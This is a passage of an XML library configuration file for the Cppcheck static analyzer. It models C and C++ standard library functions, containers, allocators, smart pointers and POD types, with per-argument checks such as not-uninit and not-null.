  <!-- template< class BidirIt > constexpr BidirIt std::prev(BidirIt it, typename std::iterator_traits<BidirIt>::difference_type n = 1 ); // since C++17 -->
  <!-- TODO: Specify return value type and iterator type for first argument when this is supported for such types -->
  <function name="std::prev">
    <noreturn>false</noreturn>
    <use-retval/>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in" default="1">
      <not-uninit/>
    </arg>
  </function>
  <function name="std::size">
    <noreturn>false</noreturn>
    <use-retval/>
    <leak-ignore/>
    <container yields="size"/>
    <returnValue type="size_t"/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <function name="std::ssize">
    <noreturn>false</noreturn>
    <use-retval/>
    <leak-ignore/>
    <container yields="size"/>
    <returnValue type="long"/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <function name="std::empty">
    <noreturn>false</noreturn>
    <use-retval/>
    <leak-ignore/>
    <container yields="empty"/>
    <returnValue type="bool"/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <function name="std::data">
    <noreturn>false</noreturn>
    <use-retval/>
    <leak-ignore/>
    <container yields="buffer"/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- template< class F, class... Args > /*unspecified*/ bind( F&& f, Args&&... args ); // since C++11 -->
  <!-- template< class R, class F, class... Args > /*unspecified*/ bind( F&& f, Args&&... args ); // since C++11 -->
  <function name="std::bind">
    <noreturn>false</noreturn>
    <use-retval/>
    <arg nr="1">
      <not-uninit/>
    </arg>
    <arg nr="any"/>
  </function>
  <!--       T& std::map::at( const Key& key );       // since C++11 -->
  <!-- const T& std::map::at( const Key& key ) const; // since C++11 -->
  <!--       T& std::unordered_map::at( const Key& key );       // since C++11 -->
  <!-- const T& std::unordered_map::at( const Key& key ) const; // since C++11 -->
  <function name="std::map::at,std::unordered_map::at">
    <noreturn>false</noreturn>
    <use-retval/>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- (1) std::basic_streambuf<CharT, Traits>* std::ostringstream::rdbuf() const; -->
  <!-- (2) std::basic_streambuf<CharT, Traits>* std::ostringstream::rdbuf( std::basic_streambuf<CharT, Traits>* sb ); -->
  <function name="std::ostringstream::rdbuf">
    <noreturn>false</noreturn>
    <use-retval/>
    <leak-ignore/>
    <arg nr="1" direction="in" default="nullptr">
      <not-uninit/>
    </arg>
  </function>
  <!-- C Threads https://en.cppreference.com/w/c/thread -->
  <!-- int thrd_create( thrd_t *thr, thrd_start_t func, void *arg ); // since C11 -->
  <function name="thrd_create">
    <noreturn>false</noreturn>
    <returnValue type="int"/>
    <leak-ignore/>
    <arg nr="1" direction="out">
      <not-null/>
    </arg>
    <arg nr="2"/>
    <arg nr="3" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- thrd_t thrd_current(void); // since C11 -->
  <function name="thrd_current">
    <noreturn>false</noreturn>
    <returnValue type="thrd_t"/>
    <use-retval/>
  </function>
  <!-- int thrd_detach( thrd_t thr ); // since C11 -->
  <function name="thrd_detach">
    <noreturn>false</noreturn>
    <returnValue type="int"/>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <not-bool/>
    </arg>
  </function>
  <!-- int thrd_equal( thrd_t lhs, thrd_t rhs ); // since C11 -->
  <function name="thrd_equal">
    <noreturn>false</noreturn>
    <returnValue type="int"/>
    <use-retval/>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <not-bool/>
    </arg>
  </function>
  <!-- _Noreturn void thrd_exit( int res ); // since C11 -->
  <function name="thrd_exit">
    <noreturn>true</noreturn>
    <returnValue type="void"/>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- int thrd_join( thrd_t thr, int *res ); // since C11 -->
  <function name="thrd_join">
    <noreturn>false</noreturn>
    <returnValue type="int"/>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="out">
      <not-bool/>
    </arg>
  </function>
  <!-- int thrd_sleep( const struct timespec* duration, struct timespec* remaining ); // since C11 -->
  <function name="thrd_sleep">
    <noreturn>false</noreturn>
    <returnValue type="int"/>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
    </arg>
    <arg nr="2" direction="out">
      <not-bool/>
    </arg>
  </function>
  <!-- void thrd_yield(void); // since C11 -->
  <function name="thrd_yield">
    <noreturn>false</noreturn>
    <returnValue type="void"/>
  </function>
  <!-- Mutual exclusion https://en.cppreference.com/w/c/thread -->
  <!-- void mtx_destroy( mtx_t *mutex ); // since C11 -->
  <function name="mtx_destroy">
    <noreturn>false</noreturn>
    <returnValue type="void"/>
    <leak-ignore/>
    <arg nr="1">
      <not-null/>
      <not-uninit/>
      <not-bool/>
    </arg>
  </function>
  <!-- char *strdup(const char *s); -->
  <function name="strdup">
    <noreturn>false</noreturn>
    <returnValue type="char *"/>
    <use-retval/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
      <not-bool/>
      <strz/>
    </arg>
  </function>
  <!-- int mtx_init( mtx_t* mutex, int type ); // since C11 -->
  <function name="mtx_init">
    <noreturn>false</noreturn>
    <returnValue type="int"/>
    <leak-ignore/>
    <arg nr="1" direction="out">
      <not-null/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <not-bool/>
    </arg>
  </function>
  <!-- int mtx_lock( mtx_t* mutex ); // since C11 -->
  <function name="mtx_lock">
    <noreturn>false</noreturn>
    <returnValue type="int"/>
    <leak-ignore/>
    <arg nr="1" direction="inout">
      <not-null/>
      <not-uninit/>
      <not-bool/>
    </arg>
  </function>
  <!-- int mtx_timedlock( mtx_t *restrict mutex, const struct timespec *restrict time_point ); // since C11 -->
  <function name="mtx_timedlock">
    <noreturn>false</noreturn>
    <returnValue type="int"/>
    <leak-ignore/>
    <arg nr="1" direction="inout">
      <not-null/>
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-null/>
      <not-uninit/>
      <not-bool/>
    </arg>
  </function>
  <!-- int mtx_trylock( mtx_t *mutex ); // since C11 -->
  <function name="mtx_trylock">
    <noreturn>false</noreturn>
    <returnValue type="int"/>
    <leak-ignore/>
    <arg nr="1" direction="inout">
      <not-null/>
      <not-uninit/>
      <not-bool/>
    </arg>
  </function>
  <!-- int mtx_unlock( mtx_t *mutex ); // since C11 -->
  <function name="mtx_unlock">
    <noreturn>false</noreturn>
    <returnValue type="int"/>
    <leak-ignore/>
    <arg nr="1" direction="inout">
      <not-null/>
      <not-uninit/>
      <not-bool/>
    </arg>
  </function>
    <!-- void std::string::shrink_to_fit(void) ; (since C++11) -->
    <!-- void std::wstring::shrink_to_fit(void) ; (since C++11) -->
  <function name="std::string::shrink_to_fit,std::wstring::shrink_to_fit,std::vector::shrink_to_fit">
    <noreturn>false</noreturn>
    <returnValue type="void"/>
    <leak-ignore/>
  </function>
  <!-- bool std::bitset::all() const noexcept; (since C++11) -->
  <!-- bool std::bitset::any() const; (until C++11) -->
  <!-- bool std::bitset::any() const noexcept; (since C++11) -->
  <!-- bool std::bitset::none() const; (until C++11) -->
  <!-- bool std::bitset::none() const noexcept; (since C++11)-->
  <function name="std::bitset::all,std::bitset::any,std::bitset::none">
    <noreturn>false</noreturn>
    <use-retval/>
    <returnValue type="bool"/>
    <leak-ignore/>
    <const/>
  </function>
  <!-- std::size_t std::bitset::count() const; (until C++11) -->
  <!-- std::size_t  std::bitset::count() const noexcept; (since C++11)-->
  <!-- std::size_t  std::bitset::size() const; (until C++11) -->
  <!-- constexpr std::size_t std::bitset::size() const noexcept; (since C++11)-->
  <function name="std::bitset::count,std::bitset::size">
    <noreturn>false</noreturn>
    <use-retval/>
    <returnValue type="std::size_t"/>
    <leak-ignore/>
    <const/>
  </function>
  <!-- unsigned long long std::bitset::to_ullong() const ; (since C++11) -->
  <function name="std::bitset::to_ullong">
    <noreturn>false</noreturn>
    <use-retval/>
    <returnValue type="unsigned long long"/>
    <leak-ignore/>
    <const/>
  </function>
  <!-- unsigned long std::bitset::to_ulong() const ; -->
  <function name="std::bitset::to_ulong">
    <noreturn>false</noreturn>
    <use-retval/>
    <returnValue type="unsigned long"/>
    <leak-ignore/>
    <const/>
  </function>
  <!-- std::string std::bitset::to_string() const ; -->
  <function name="std::bitset::to_string">
    <noreturn>false</noreturn>
    <use-retval/>
    <returnValue type="std::string"/>
    <leak-ignore/>
    <const/>
  </function>
  <!-- bool std::bitset< N >::test( std::size_t pos ) const -->
  <function name="std::bitset::test">
    <noreturn>false</noreturn>
    <use-retval/>
    <returnValue type="bool"/>
    <leak-ignore/>
    <const/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- std::bitset& std::bitset< N >::set( ) (until C++11) -->
  <!-- std::bitset& std::bitset< N >::set( ) noexcept (since C++11) -->
  <!-- std::bitset& std::bitset< N >::set( std::size_t pos, bool value = true ) noexcept (since C++11) -->
  <function name="std::bitset::set">
    <noreturn>false</noreturn>
    <returnValue type="std::bitset &amp;"/>
    <leak-ignore/>
    <arg nr="1" default="0" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" default="true" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- std::bitset& std::bitset< N >::reset( ) (until C++11) -->
  <!-- std::bitset& std::bitset< N >::reset( ) noexcept (since C++11) -->
  <!-- std::bitset& std::bitset< N >::reset( std::size_t pos ) noexcept (since C++11) -->
  <!-- std::bitset& std::bitset< N >::flip( ) (until C++11) -->
  <!-- std::bitset& std::bitset< N >::flip( ) noexcept (since C++11) -->
  <!-- std::bitset& std::bitset< N >::flip( std::size_t pos ) noexcept (since C++11) -->
  <function name="std::bitset::reset,std::bitset::flip">
    <noreturn>false</noreturn>
    <returnValue type="std::bitset &amp;"/>
    <leak-ignore/>
    <arg nr="1" default="0" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- std::pair<iterator,iterator> std::map::equal_range( const Key& key ); -->
  <!-- std::pair<const_iterator,const_iterator> std::map::equal_range( const Key& key ) const; -->
  <!-- template< class K > std::pair<iterator,iterator> std::map::equal_range( const K& x ); // since C++14 -->
  <!-- template< class K > std::pair<const_iterator,const_iterator> std::map::equal_range( const K& x ) const; // since C++14 -->
  <function name="std::map::equal_range">
    <noreturn>false</noreturn>
    <use-retval/>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- iterator std::map::lower_bound( const Key& key ); -->
  <!-- const_iterator lower_bound( const Key& key ) const; -->
  <!-- template< class K > iterator std::map::lower_bound(const K& x); // since C++14 -->
  <!-- template< class K > const_iterator std::map::lower_bound(const K& x) const; // since C++14 -->
  <function name="std::map::lower_bound">
    <noreturn>false</noreturn>
    <use-retval/>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- iterator std::map::upper_bound( const Key& key ); -->
  <!-- const_iterator std::map::upper_bound( const Key& key ) const; -->
  <!-- template< class K > iterator std::map::upper_bound( const K& x ); // since C++14 -->
  <!-- template< class K > const_iterator std::map::upper_bound( const K& x ) const; // since C++14 -->
  <function name="std::map::upper_bound">
    <noreturn>false</noreturn>
    <use-retval/>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- bool std::map::contains( const Key& key ) const; // since C++20 -->
  <!-- template< class K > bool std::map::contains( const K& x ) const; // since C++20 -->
  <function name="std::map::contains">
    <noreturn>false</noreturn>
    <returnValue type="bool"/>
    <use-retval/>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <function name="std::span::first">
    <use-retval/>
    <returnValue type="std::span"/>
    <noreturn>false</noreturn>
    <arg nr="1" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
  </function>
  <function name="std::span::last">
    <use-retval/>
    <returnValue type="std::span"/>
    <noreturn>false</noreturn>
    <arg nr="1" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
  </function>
  <function name="std::span::subspan">
    <use-retval/>
    <returnValue type="std::span"/>
    <noreturn>false</noreturn>
    <arg nr="1" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
  </function>
  <function name="std::begin,std::cbegin,std::rbegin,std::crbegin">
    <use-retval/>
    <leak-ignore/>
    <noreturn>false</noreturn>
    <arg nr="1" direction="in"/>
    <container yields="start-iterator"/>
    <returnValue type="iterator" container="1"/>
  </function>
  <function name="std::end,std::cend,std::rend,std::crend">
    <use-retval/>
    <leak-ignore/>
    <noreturn>false</noreturn>
    <arg nr="1" direction="in"/>
    <container yields="end-iterator"/>
    <returnValue type="iterator" container="1"/>
  </function>
  <function name="std::auto_ptr::get,std::shared_ptr::get,std::unique_ptr::get,std::weak_ptr::get">
    <use-retval/>
    <leak-ignore/>
    <noreturn>false</noreturn>
    <returnValue type="void *"/>
  </function>
  <function name="std::auto_ptr::reset,std::shared_ptr::reset,std::unique_ptr::reset,std::weak_ptr::reset">
    <noreturn>false</noreturn>
    <arg nr="1" direction="in" default="0">
      <not-uninit/>
    </arg>
    <returnValue type="void *"/>
  </function>
  <function name="std::auto_ptr::release,std::unique_ptr::release">
    <use-retval/>
    <noreturn>false</noreturn>
    <returnValue type="void *"/>
  </function>
  <function name="std::tie">
    <noreturn>false</noreturn>
    <use-retval/>
    <arg nr="variadic">
    </arg>
  </function>
  <function name="std::exception::what,std::logic_error::what,std::invalid_argument::what,std::domain_error::what,std::length_error::what,std::out_of_range::what,std::future_error::what,std::runtime_error::what,std::range_error::what,std::overflow_error::what,std::underflow_error::what,std::regex_error::what,std::system_error::what,std::ios_base::failure::what,std::filesystem::filesystem_error::what,std::nonexistent_local_time::what,std::ambiguous_local_time::what,std::format_error::what,std::bad_typeid::what,std::bad_cast::what,std::bad_any_cast::what,std::bad_optional_access::what,std::bad_expected_access::what,std::bad_weak_ptr::what,std::bad_function_call::what,std::bad_alloc::what,std::bad_array_new_length::what,std::bad_exception::what,std::bad_variant_access::what">
    <noreturn>false</noreturn>
    <use-retval/>
    <returnValue type="const char *"/>
  </function>
  <memory>
    <alloc init="false" buffer-size="malloc">malloc,std::malloc</alloc>
    <alloc init="true" buffer-size="calloc">calloc,std::calloc</alloc>
    <alloc init="false" buffer-size="malloc:2">aligned_alloc,std::aligned_alloc</alloc>
    <realloc init="false" buffer-size="malloc:2">realloc,std::realloc</realloc>
    <dealloc>free,std::free</dealloc>
  </memory>
  <memory>
    <alloc init="true" buffer-size="strdup">strdup,std::strdup</alloc>
    <dealloc>free,std::free</dealloc>
  </memory>
  <resource>
    <alloc init="true">fopen,std::fopen</alloc>
    <alloc init="true">tmpfile,std::tmpfile</alloc>
    <realloc init="true" realloc-arg="3">freopen,std::freopen</realloc>
    <dealloc>fclose,std::fclose</dealloc>
  </resource>
  <container id="stdContainer" endPattern="&gt; !!::" opLessAllowed="false" itEndPattern="&gt; :: iterator|const_iterator|reverse_iterator|const_reverse_iterator" hasInitializerListConstructor="true">
    <type templateParameter="0"/>
    <size>
      <function name="resize" action="resize"/>
      <function name="clear" action="clear"/>
      <function name="size" yields="size" returnType="std::size_t"/>
      <function name="empty" yields="empty" returnType="bool"/>
      <function name="erase" action="erase"/>
      <function name="insert" action="insert" yields="iterator"/>
      <function name="emplace" action="push" yields="iterator"/>
      <function name="swap" action="change"/>
      <function name="assign" action="change"/>
    </size>
    <access>
      <function name="begin" yields="start-iterator"/>
      <function name="cbegin" yields="start-iterator"/>
      <function name="rbegin" yields="start-iterator"/>
      <function name="crbegin" yields="start-iterator"/>
      <function name="end" yields="end-iterator"/>
      <function name="cend" yields="end-iterator"/>
      <function name="rend" yields="end-iterator"/>
      <function name="crend" yields="end-iterator"/>
    </access>
  </container>
  <container id="stdVectorDeque" inherits="stdContainer" opLessAllowed="true">
    <size>
      <function name="push_back" action="push"/>
      <function name="emplace_back" action="push"/>
      <function name="pop_back" action="pop"/>
      <function name="push_front" action="push"/>
      <function name="emplace_front" action="push"/>
    </size>
    <access indexOperator="array-like">
      <function name="at" yields="at_index"/>
      <function name="front" yields="item"/>
      <function name="back" yields="item"/>
      <function name="data" yields="buffer"/>
      <function name="shrink_to_fit" action="change-internal"/>
      <function name="reserve" action="change-internal"/>
    </access>
  </container>
  <container id="stdVector" startPattern="std :: vector &lt;" inherits="stdVectorDeque">
    <type unstable="erase insert"/>
    <access>
      <function name="emplace_back" action="push" yields="item"/>
      <function name="emplace_front" action="push" yields="item"/>
    </access>
  </container>
  <container id="stdDeque" startPattern="std :: deque &lt;" inherits="stdVectorDeque">
    <type unstable="erase insert"/>
    <size>
      <function name="pop_front" action="pop"/>
    </size>
  </container>
  <container id="stdArray" startPattern="std :: array &lt;" inherits="stdContainer" opLessAllowed="true">
    <size templateParameter="1">
      <function name="max_size" yields="size" returnType="std::size_t"/>
    </size>
    <access indexOperator="array-like">
      <function name="at" yields="at_index"/>
      <function name="front" yields="item"/>
      <function name="back" yields="item"/>
      <function name="data" yields="buffer"/>
      <function name="fill" action="change-content"/>
    </access>
  </container>
  <container id="stdBitset" startPattern="std :: bitset &lt;" inherits="stdContainer">
    <size templateParameter="0"/>
    <access indexOperator="array-like"/>
  </container>
  <container id="stdQueue" startPattern="std :: queue &lt;" inherits="stdContainer">
    <access>
      <function name="emplace" action="push" yields="item"/>
      <function name="push" action="push"/>
      <function name="pop" action="pop"/>
      <function name="front" yields="item"/>
      <function name="back" yields="item"/>
    </access>
  </container>
  <container id="stdStack" startPattern="std :: stack|priority_queue &lt;" inherits="stdContainer">
    <access>
      <function name="emplace" action="push" yields="item"/>
      <function name="push" action="push"/>
      <function name="pop" action="pop"/>
      <function name="top" yields="item"/>
    </access>
  </container>
  <container id="stdMultiSet" startPattern="std :: multiset|unordered_multiset &lt;" inherits="stdContainer">
    <type associative="std-like"/>
    <access>
      <function name="find" action="find" yields="iterator"/>
      <function name="count" action="find"/>
      <function name="emplace_hint" action="push" yields="iterator"/>
      <function name="rehash" action="change-internal"/>
      <function name="lower_bound" yields="iterator"/>
      <function name="upper_bound" yields="iterator"/>
    </access>
  </container>
  <container id="stdMultiMap" startPattern="std :: multimap|unordered_multimap &lt;" inherits="stdContainer">
    <type templateParameter="1" associative="std-like"/>
    <rangeItemRecordType>
      <member name="first" templateParameter="0"/>
      <member name="second" templateParameter="1"/>
    </rangeItemRecordType>
    <access>
      <function name="count" action="find"/>
      <function name="find" action="find" yields="iterator"/>
      <function name="emplace_hint" action="push" yields="iterator"/>
      <function name="rehash" action="change-internal"/>
      <function name="lower_bound" yields="iterator"/>
      <function name="upper_bound" yields="iterator"/>
    </access>
  </container>
  <container id="stdSet" startPattern="std :: set|unordered_set &lt;" inherits="stdMultiSet">
    <access>
      <function name="insert" action="push"/>
      <function name="emplace" action="push"/>
      <function name="try_emplace" action="push"/>
      <function name="insert_or_assign" action="push"/>
    </access>
  </container>
  <container id="stdMap" startPattern="std :: map|unordered_map &lt;" inherits="stdMultiMap">
    <access>
      <function name="insert" action="push"/>
      <function name="emplace" action="push"/>
      <function name="try_emplace" action="push"/>
      <function name="insert_or_assign" action="push"/>
    </access>
  </container>
  <container id="stdList" startPattern="std :: list|forward_list &lt;" inherits="stdContainer">
    <size>
      <function name="push_back" action="push"/>
      <function name="emplace_back" action="push" yields="item"/>
      <function name="emplace_after" action="push"/>
      <function name="pop_back" action="pop"/>
      <function name="push_front" action="push"/>
      <function name="emplace_front" action="push" yields="item"/>
      <function name="pop_front" action="pop"/>
      <function name="erase_after" action="erase"/>
      <function name="insert_after" action="insert"/>
      <function name="remove" action="change"/>
      <function name="remove_if" action="change"/>
      <function name="unique" action="change"/>
      <function name="merge" action="change"/>
      <function name="splice" action="change"/>
      <function name="splice_after" action="change"/>
    </size>
    <access>
      <function name="front" yields="item"/>
      <function name="back" yields="item"/>
      <function name="before_begin" yields="iterator"/>
      <function name="cbefore_begin" yields="iterator"/>
      <function name="reverse" action="change-content"/>
      <function name="sort" action="change-content"/>
    </access>
  </container>
  <container id="stdAllString" inherits="stdContainer" opLessAllowed="true" hasInitializerListConstructor="false">
    <type string="std-like" unstable="erase insert"/>
    <size>
      <function name="push_back" action="push"/>
      <function name="pop_back" action="pop"/>
      <function name="append" action="change"/>
      <function name="replace" action="change"/>
      <function name="reserve" action="change-internal"/>
      <function name="shrink_to_fit" action="change-internal"/>
      <function name="length" yields="size" returnType="std::size_t"/>
    </size>
    <access indexOperator="array-like">
      <function name="at" yields="at_index"/>
      <function name="front" yields="item"/>
      <function name="back" yields="item"/>
      <function name="data" yields="buffer"/>
      <function name="c_str" yields="buffer-nt"/>
      <function name="find" action="find-const"/>
      <function name="rfind" action="find-const"/>
      <function name="find_last_of" action="find-const"/>
      <function name="find_last_not_of" action="find-const"/>
      <function name="find_first_of" action="find-const"/>
      <function name="find_first_not_of" action="find-const"/>
    </access>
  </container>
  <container id="stdBasicString" startPattern="std :: basic_string &lt;" inherits="stdAllString">
    <type templateParameter="0"/>
  </container>
  <container id="stdString" startPattern="std :: string|wstring|u16string|u32string" endPattern="" inherits="stdAllString"/>
  <container id="stdAllStringView" inherits="stdAllString" view="true">
    <size>
      <function name="remove_prefix" action="change"/>
      <function name="remove_suffix" action="change"/>
    </size>
  </container>
  <container id="stdBasicStringView" startPattern="std :: basic_string_view &lt;" inherits="stdAllStringView">
    <type templateParameter="0"/>
  </container>
  <container id="stdStringView" startPattern="std :: string_view|wstring_view|u16string_view|u32string_view" endPattern="" inherits="stdAllStringView"/>
  <container id="stdExperimentalStringView" startPattern="std :: experimental :: string_view|wstring_view|u16string_view|u32string_view" endPattern="" inherits="stdAllStringView"/>
  <container id="stdExperimentalBasicStringView" startPattern="std :: experimental :: basic_string_view &lt;" inherits="stdBasicStringView" />
  <container id="stdSpan" startPattern="std :: span" endPattern="" inherits="stdContainer" view="true">
    <access indexOperator="array-like">
      <function name="front" yields="item"/>
      <function name="back" yields="item"/>
      <function name="data" yields="buffer"/>
    </access>
  </container>
  <smart-pointer class-name="std::auto_ptr">
    <unique/>
  </smart-pointer>
  <smart-pointer class-name="std::shared_ptr"/>
  <smart-pointer class-name="std::unique_ptr">
    <unique/>
  </smart-pointer>
  <smart-pointer class-name="std::weak_ptr"/>
  <type-checks>
    <unusedvar>
      <suppress>std::fstream</suppress>
      <suppress>std::wfstream</suppress>
      <suppress>std::ofstream</suppress>
      <suppress>std::wofstream</suppress>
      <suppress>std::basic_fstream</suppress>
      <suppress>std::basic_ofstream</suppress>
      <checkFiniteLifetime>std::insert_iterator</checkFiniteLifetime>
      <checkFiniteLifetime>std::lock_guard</checkFiniteLifetime>
      <checkFiniteLifetime>std::scoped_lock</checkFiniteLifetime>
      <checkFiniteLifetime>std::unique_lock</checkFiniteLifetime>
      <checkFiniteLifetime>std::shared_lock</checkFiniteLifetime>
      <check>std::pair</check>
      <check>std::exception</check>
      <check>std::logic_error</check>
      <check>std::domain_error</check>
      <check>std::invalid_argument</check>
      <check>std::length_error</check>
      <check>std::out_of_range</check>
      <check>std::future_error</check>
      <check>std::runtime_error</check>
      <check>std::range_error</check>
      <check>std::overflow_error</check>
      <check>std::underflow_error</check>
      <check>std::regex_error</check>
      <check>std::system_error</check>
      <check>std::bad_typeid</check>
      <check>std::bad_cast</check>
      <check>std::bad_optional_access</check>
      <check>std::bad_expected_access</check>
      <check>std::bad_weak_ptr</check>
      <check>std::bad_function_call</check>
      <check>std::bad_alloc</check>
      <check>std::bad_array_new_length</check>
      <check>std::bad_exception</check>
      <check>std::ios_base::failure</check>
      <check>std::filesystem::filesystem_error</check>
      <check>std::bad_variant_access</check>
      <check>std::span</check>
    </unusedvar>
    <operatorEqVarError>
      <suppress>std::mutex</suppress>
      <suppress>std::recursive_mutex</suppress>
    </operatorEqVarError>
  </type-checks>
  <podtype name="char8_t,std::char8_t" sign="u" size="1"/>
  <podtype name="char16_t,std::char16_t" sign="u" size="2"/>
  <podtype name="char32_t,std::char32_t" sign="u" size="4"/>
  <podtype name="int8_t,std::int8_t" sign="s" size="1"/>
  <podtype name="int16_t,std::int16_t" sign="s" size="2"/>
  <podtype name="int32_t,std::int32_t" sign="s" size="4"/>
  <podtype name="int64_t,std::int64_t" sign="s" size="8"/>
  <podtype name="uint8_t,std::uint8_t" sign="u" size="1"/>
  <podtype name="uint16_t,std::uint16_t" sign="u" size="2"/>
  <podtype name="uint32_t,std::uint32_t" sign="u" size="4"/>
  <podtype name="uint64_t,std::uint64_t" sign="u" size="8"/>
  <podtype name="int_fast8_t,std::int_fast8_t" sign="s"/>
  <podtype name="int_fast16_t,std::int_fast16_t" sign="s"/>
  <podtype name="int_fast32_t,std::int_fast32_t" sign="s"/>
  <podtype name="int_fast64_t,std::int_fast64_t" sign="s"/>
  <podtype name="int_least8_t,std::int_least8_t" sign="s"/>
  <podtype name="int_least16_t,std::int_least16_t" sign="s"/>
  <podtype name="int_least32_t,std::int_least32_t" sign="s"/>
  <podtype name="int_least64_t,std::int_least64_t" sign="s"/>
  <podtype name="uint_fast8_t,std::uint_fast8_t" sign="u"/>
  <podtype name="uint_fast16_t,std::uint_fast16_t" sign="u"/>
  <podtype name="uint_fast32_t,std::uint_fast32_t" sign="u"/>
  <podtype name="uint_fast64_t,std::uint_fast64_t" sign="u"/>
  <podtype name="uint_least8_t,std::uint_least8_t" sign="u"/>
  <podtype name="uint_least16_t,std::uint_least16_t" sign="u"/>
  <podtype name="uint_least32_t,std::uint_least32_t" sign="u"/>
  <podtype name="uint_least64_t,std::uint_least64_t" sign="u"/>
  <podtype name="intptr_t,std::intptr_t" sign="s"/>
  <podtype name="uintptr_t,std::uintptr_t" sign="u"/>
  <podtype name="intmax_t,std::intmax_t" sign="s"/>
  <podtype name="uintmax_t,std::uintmax_t" sign="u"/>
  <podtype name="std::string::size_type" sign="u"/>
  <podtype name="std::wstring::size_type" sign="u"/>
  <podtype name="std::u16string::size_type" sign="u"/>
  <podtype name="std::u32string::size_type" sign="u"/>
  <!-- rsize_t is a typedef for size_t -->
  <podtype name="rsize_t" sign="u"/>
  <podtype name="double_t"/>
  <podtype name="float_t"/>
  <podtype name="time_t,std::time_t"/>
  <podtype name="clock_t,std::clock_t"/>
  <podtype name="tm"/>
  <podtype name="fenv_t"/>
  <podtype name="fexcept_t"/>
  <podtype name="lconv"/>
  <podtype name="sig_atomic_t"/>
  <podtype name="va_list"/>
  <!-- http://en.cppreference.com/w/c/types/ptrdiff_t -->
  <!-- http://en.cppreference.com/w/cpp/types/ptrdiff_t-->
  <podtype name="ptrdiff_t,std::ptrdiff_t" sign="s"/>
  <podtype name="max_align_t"/>
  <podtype name="nullptr_t"/>
  <podtype name="fpos_t"/>
  <podtype name="FILE"/>
  <podtype name="div_t"/>
  <podtype name="ldiv_t"/>
  <podtype name="lldiv_t"/>
  <podtype name="imaxdiv_t"/>
  <podtype name="mbstate_t"/>
  <podtype name="wint_t"/>
  <podtype name="jmp_buf"/>
  <podtype name="std::streamsize,streamsize" sign="s"/>
  <podtype name="std::streamoff,streamoff" sign="s"/>
  <podtype name="std::atomic_bool" stdtype="bool"/>
  <podtype name="std::atomic_char" stdtype="char"/>
  <podtype name="std::atomic_schar" stdtype="char" sign="s"/>
  <podtype name="std::atomic_uchar" stdtype="char" sign="u"/>
  <podtype name="std::atomic_short" stdtype="short" sign="s"/>
  <podtype name="std::atomic_ushort" stdtype="short" sign="u"/>
  <podtype name="std::atomic_int" stdtype="int" sign="s"/>
  <podtype name="std::atomic_uint" stdtype="int" sign="u"/>
  <podtype name="std::atomic_long" stdtype="long" sign="s"/>
  <podtype name="std::atomic_ulong" stdtype="long" sign="u"/>
  <podtype name="std::atomic_llong" stdtype="long long" sign="s"/>
  <podtype name="std::atomic_ullong" stdtype="long long" sign="u"/>
  <podtype name="std::atomic_char8_t" size="1"/>
  <podtype name="std::atomic_char16_t" size="2"/>
  <podtype name="std::atomic_char32_t" size="4"/>
  <podtype name="std::atomic_wchar_t" size="2"/>
  <podtype name="std::atomic_int_least8_t"/>
  <podtype name="std::atomic_uint_least8_t"/>
  <podtype name="std::atomic_int_least16_t"/>
  <podtype name="std::atomic_uint_least16_t"/>
  <podtype name="std::atomic_int_least32_t"/>
  <podtype name="std::atomic_uint_least32_t"/>
  <podtype name="std::atomic_int_least64_t"/>
  <podtype name="std::atomic_uint_least64_t"/>
  <podtype name="std::atomic_int_fast8_t"/>
  <podtype name="std::atomic_uint_fast8_t"/>
  <podtype name="std::atomic_int_fast16_t"/>
  <podtype name="std::atomic_uint_fast16_t"/>
  <podtype name="std::atomic_int_fast32_t"/>
  <podtype name="std::atomic_uint_fast32_t"/>
  <podtype name="std::atomic_int_fast64_t"/>
  <podtype name="std::atomic_uint_fast64_t"/>
  <podtype name="std::atomic_intptr_t"/>
  <podtype name="std::atomic_uintptr_t"/>
  <podtype name="std::atomic_size_t"/>
  <podtype name="std::atomic_ptrdiff_t"/>
  <podtype name="std::atomic_intmax_t"/>
  <podtype name="std::atomic_uintmax_t"/>
  <!-- https://en.cppreference.com/w/c/program/SIG_types
        Values are in alignment with posix.cfg -->
  <define name="SIGTERM" value="15"/>
  <define name="SIGSEGV" value="11"/>
  <define name="SIGINT" value="2"/>
  <define name="SIGKILL" value="9"/>
  <define name="SIGABRT" value="6"/>
  <define name="SIGFPE" value="8"/>
  <!-- http://www.cplusplus.com/reference/cstdio/fseek/ -->
  <define name="SEEK_CUR" value="1"/>
  <define name="SEEK_END" value="2"/>
